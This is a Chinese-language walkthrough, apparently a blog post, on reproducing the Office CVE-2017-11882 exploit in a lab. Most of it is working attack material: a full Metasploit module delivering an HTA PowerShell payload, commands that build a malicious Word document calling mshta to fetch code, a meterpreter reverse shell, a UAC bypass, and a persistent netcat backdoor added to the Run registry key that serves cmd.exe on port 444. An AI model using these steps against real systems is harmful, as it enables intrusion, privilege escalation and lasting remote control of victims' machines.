利用CVE-2017-11882拿到持久性shell
近日微软又爆出一个严重漏洞,利用该漏洞可以直接拿到目标机shell。这么好玩的东西怎么能错过了,于是搭建环境复现了一把。
首先去GitHub上下载exp https://github.com/starnightcyber/CVE-2017-11882.git
这里直接贴上exp脚本
把下面这段代码复制到usr/share/metasploit-framework/modules/exploits/windows/office/ 名字随意格式为.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end
def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end
def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end
打开msf,输入下列命令
use exploit/windows/office/CVE-2017-11882
set payload windows/meterpreter/reverse_tcp
show options 看一下需要设置哪些参数
这里我们设置一下LHOST和URIPATH就可以了,其他的用默认的即可。
LHOST就是kali 的ip URIPATH 是受害机连接的路径默认是遗传随机数,因为攻击脚本有字数限制所以我们改成123尽量减小长度。
设置好这些后就可以执行了。
输入 exploit -j
然后
在kali任意目录下gitclone https://github.com/starnightcyber/CVE-2017-11882.git
下好python脚本,在此目录下打开一个命令终端
输入下列命令,生成恶意文档
python Command_CVE-2017-11882.py -c "mshta http://ip/123" -o test.doc
Kali 开启Apache 靶机连接kali并下载恶意文档
靶机运行恶意文档
拿到meterpreter shell
getsystem 发现不是系统权限,因为Windows的UAC 保护机制
接下来我们利用kali自带的模块绕过UAC
use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp
一样的show options
set sessions
set lhost
set lport
exploit –j
获得一个新的sessions
利用刚获得的session 2 可以看到已经是系统管理员权限了
现在想干什么就干什么
我们就传一个nc修改一下注册表设置开机自启来获得一个永久后门吧。
在meterpreter下输入以下命令
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'
重启靶机在kali里输入
nc ip 444
成功拿到cmd shell
本次实验到此结束